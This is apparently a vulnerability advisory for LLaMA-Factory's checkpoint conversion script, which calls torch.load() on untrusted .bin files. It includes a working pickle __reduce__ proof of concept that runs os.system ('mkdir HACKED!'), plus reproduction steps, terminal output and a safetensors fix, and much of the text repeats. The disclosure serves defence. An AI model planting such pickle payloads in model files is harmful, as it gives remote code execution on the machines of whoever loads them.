Description
A critical vulnerability exists in the llamafy_baichuan2.py script of the LLaMA-Factory project. The script performs insecure deserialization using torch.load() on user-supplied .bin files from an input directory. An attacker can exploit this behavior by crafting a malicious .bin file that executes arbitrary commands during deserialization.
Attack Vector
This vulnerability is exploitable without authentication or privileges when a user is tricked into:
- Downloading or cloning a malicious project folder containing a crafted
.bin file (e.g. via zip file, GitHub repo).
- Running the provided conversion script
llamafy_baichuan2.py, either manually or as part of an example workflow.
No elevated privileges are required. The user only needs to run the script with an attacker-supplied --input_dir.
Impact
- Arbitrary command execution (RCE)
- System compromise
- Persistence or lateral movement in shared compute environments
Proof of Concept (PoC)
# malicious_payload.py
import torch, pickle, os
class MaliciousPayload:
def __reduce__(self):
return (os.system, ("mkdir HACKED!",)) # Arbitrary command
malicious_data = {
"v_head.summary.weight": MaliciousPayload(),
"v_head.summary.bias": torch.randn(10)
}
with open("value_head.bin", "wb") as f:
pickle.dump(malicious_data, f)An example of config.json:
{
"model": "value_head.bin",
"hidden_size": 4096,
"num_attention_heads": 32,
"num_hidden_layers": 24,
"initializer_range": 0.02,
"intermediate_size": 11008,
"max_position_embeddings": 4096,
"kv_channels": 128,
"layer_norm_epsilon": 1e-5,
"tie_word_embeddings": false,
"vocab_size": 151936
}(base) root@d6ab70067470:~/LLaMA-Factory_latest# tree
.
`-- LLaMA-Factory
|-- LICENSE
|-- README.md
|-- malicious_folder
| |-- config.json
| `-- value_head.bin
`-- xxxxx(Irrelevant documents omitted)# Reproduction
python scripts/convert_ckpt/llamafy_baichuan2.py --input_dir ./malicious_folder --output_dir ./out
➡️ Running this will execute the malicious payload and create a HACKED! folder.
(base) root@d6ab70067470:~/LLaMA-Factory_latest/LLaMA-Factory# ls
CITATION.cff LICENSE MANIFEST.in Makefile README.md README_zh.md assets data docker evaluation examples malicious_folder pyproject.toml requirements.txt scripts setup.py src tests
(base) root@d6ab70067470:~/LLaMA-Factory_latest/LLaMA-Factory# python scripts/convert_ckpt/llamafy_baichuan2.py --input_dir ./malicious_folder --output_dir ./out
2025-04-23 07:36:58.435304: E external/local_xla/xla/stream_executor/cuda/cuda_fft.cc:477] Unable to register cuFFT factory: Attempting to register factory for plugin cuFFT when one has already been registered
WARNING: All log messages before absl::InitializeLog() is called are written to STDERR
E0000 00:00:1745393818.451398 1008 cuda_dnn.cc:8310] Unable to register cuDNN factory: Attempting to register factory for plugin cuDNN when one has already been registered
E0000 00:00:1745393818.456423 1008 cuda_blas.cc:1418] Unable to register cuBLAS factory: Attempting to register factory for plugin cuBLAS when one has already been registered
2025-04-23 07:36:58.472951: I tensorflow/core/platform/cpu_feature_guard.cc:210] This TensorFlow binary is optimized to use available CPU instructions in performance-critical operations.
To enable the following instructions: AVX2 FMA, in other operations, rebuild TensorFlow with the appropriate compiler flags.
Load weights: 50%|██████████████████████████████████████████████████████████████████████████████████▌ | 1/2 [00:00<00:00, 123.70it/s]
Traceback (most recent call last):
File "/root/LLaMA-Factory_latest/LLaMA-Factory/scripts/convert_ckpt/llamafy_baichuan2.py", line 112, in <module>
fire.Fire(llamafy_baichuan2)
File "/root/miniconda3/lib/python3.12/site-packages/fire/core.py", line 135, in Fire
component_trace = _Fire(component, args, parsed_flag_args, context, name)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/root/miniconda3/lib/python3.12/site-packages/fire/core.py", line 468, in _Fire
component, remaining_args = _CallAndUpdateTrace(
^^^^^^^^^^^^^^^^^^^^
File "/root/miniconda3/lib/python3.12/site-packages/fire/core.py", line 684, in _CallAndUpdateTrace
component = fn(*varargs, **kwargs)
^^^^^^^^^^^^^^^^^^^^^^
File "/root/LLaMA-Factory_latest/LLaMA-Factory/scripts/convert_ckpt/llamafy_baichuan2.py", line 107, in llamafy_baichuan2
save_weight(input_dir, output_dir, shard_size, save_safetensors)
File "/root/LLaMA-Factory_latest/LLaMA-Factory/scripts/convert_ckpt/llamafy_baichuan2.py", line 35, in save_weight
shard_weight = torch.load(os.path.join(input_dir, filepath), map_location="cpu")
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/root/miniconda3/lib/python3.12/site-packages/torch/serialization.py", line 1040, in load
return _legacy_load(opened_file, map_location, pickle_module, **pickle_load_args)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/root/miniconda3/lib/python3.12/site-packages/torch/serialization.py", line 1260, in _legacy_load
raise RuntimeError("Invalid magic number; corrupt file?")
RuntimeError: Invalid magic number; corrupt file?
(base) root@d6ab70067470:~/LLaMA-Factory_latest/LLaMA-Factory# ls
CITATION.cff LICENSE Makefile README_zh.md data evaluation malicious_folder pyproject.toml scripts src
'HACKED!' MANIFEST.in README.md assets docker examples out requirements.txt setup.py testsAffected File(s)
Suggested Fix
- Replace
torch.load() with safer alternatives like safetensors.
- Validate and whitelist file types before deserialization.
- Require checksum validation.
Example patch:
# Replace torch.load() with safe deserialization
try:
from safetensors.torch import load_file
tensor_data = load_file(filepath)
except Exception:
print("Invalid or unsafe checkpoint file.")
returnWorkarounds
- Avoid running the script with untrusted
.bin files.
- Use containers or VMs to isolate script execution.
References
Credits
Discovered and reported by Yu Rong and Hao Fan, 2025-04-23
Anchor0221 Reporter
xhjy2020 Reporter
Description
A critical vulnerability exists in the
llamafy_baichuan2.pyscript of the LLaMA-Factory project. The script performs insecure deserialization usingtorch.load()on user-supplied.binfiles from an input directory. An attacker can exploit this behavior by crafting a malicious.binfile that executes arbitrary commands during deserialization.Attack Vector
This vulnerability is exploitable without authentication or privileges when a user is tricked into:
.binfile (e.g. via zip file, GitHub repo).llamafy_baichuan2.py, either manually or as part of an example workflow.No elevated privileges are required. The user only needs to run the script with an attacker-supplied
--input_dir.Impact
Proof of Concept (PoC)
An example of
config.json:{ "model": "value_head.bin", "hidden_size": 4096, "num_attention_heads": 32, "num_hidden_layers": 24, "initializer_range": 0.02, "intermediate_size": 11008, "max_position_embeddings": 4096, "kv_channels": 128, "layer_norm_epsilon": 1e-5, "tie_word_embeddings": false, "vocab_size": 151936 }# Reproduction python scripts/convert_ckpt/llamafy_baichuan2.py --input_dir ./malicious_folder --output_dir ./out➡️ Running this will execute the malicious payload and create a
HACKED!folder.Affected File(s)
scripts/convert_ckpt/llamafy_baichuan2.pytorch.load(os.path.join(input_dir, filepath), map_location="cpu")Suggested Fix
torch.load()with safer alternatives likesafetensors.Example patch:
Workarounds
.binfiles.References
Credits
Discovered and reported by Yu Rong and Hao Fan, 2025-04-23